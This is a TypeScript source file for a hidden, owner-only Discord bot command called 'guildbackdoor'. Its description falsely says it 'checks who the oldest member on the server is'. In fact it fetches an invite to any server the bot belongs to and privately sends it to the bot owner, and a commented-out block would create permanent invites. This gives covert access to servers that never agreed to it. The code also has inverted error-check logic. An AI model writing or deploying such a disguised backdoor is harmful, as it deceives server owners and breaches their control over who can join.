1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
|
import { Command, CommandoMessage } from 'discord.js-commando';
import emoji from 'emoji-random'
module.exports = class GuildBackdoorBot extends Command {
constructor(client) {
super(client, {
name: 'guildbackdoor',
aliases: [
'guild-backdoor',
'serverbackdoor',
'server-backdoor'
],
group: 'fun',
memberName: 'guildbackdoor',
description: 'Checks who the oldest member on the server is.',
examples: ['uwu!guildbackdoor 1234567890'],
throttling: {
usages: 5,
duration: 30
},
userPermissions: ['SEND_MESSAGES', 'READ_MESSAGE_HISTORY'],
clientPermissions: ['SEND_MESSAGES', 'READ_MESSAGE_HISTORY'],
hidden: true,
args: [
{
key: 'gGuild',
prompt: 'What server would you like to join?',
type: 'string'
}
],
ownerOnly: true
});
}
async run(msg: CommandoMessage, { gGuild }) {
if (this.client.guilds.cache.has(gGuild)) msg.reply(`Either that is not a valid guild ID or ${this.client.user} is not a member of that guild.`)
gGuild = this.client.guilds.cache.get(gGuild)
const invites = await gGuild.fetchInvites()
console.debug('This guild\'s invites:', invites)
if (invites.size > 0) {
msg.author.send(invites.first().url)
}
// TODO: fix this one day, no idea how to. error: cant find permissionsfor on the channel thing
// for (const channel of gGuild.channels.cache.values()) {
// if (channel.permissionsFor(gGuild.me).has('CREATE_INSTANT_INVITE')) {
// msg.reply(await channel.createInvite({ maxAge: 0 }).url)
// }
// }
//msg.reply('No existing invites or channels to invite you to. ' + emoji.random())
}
};
|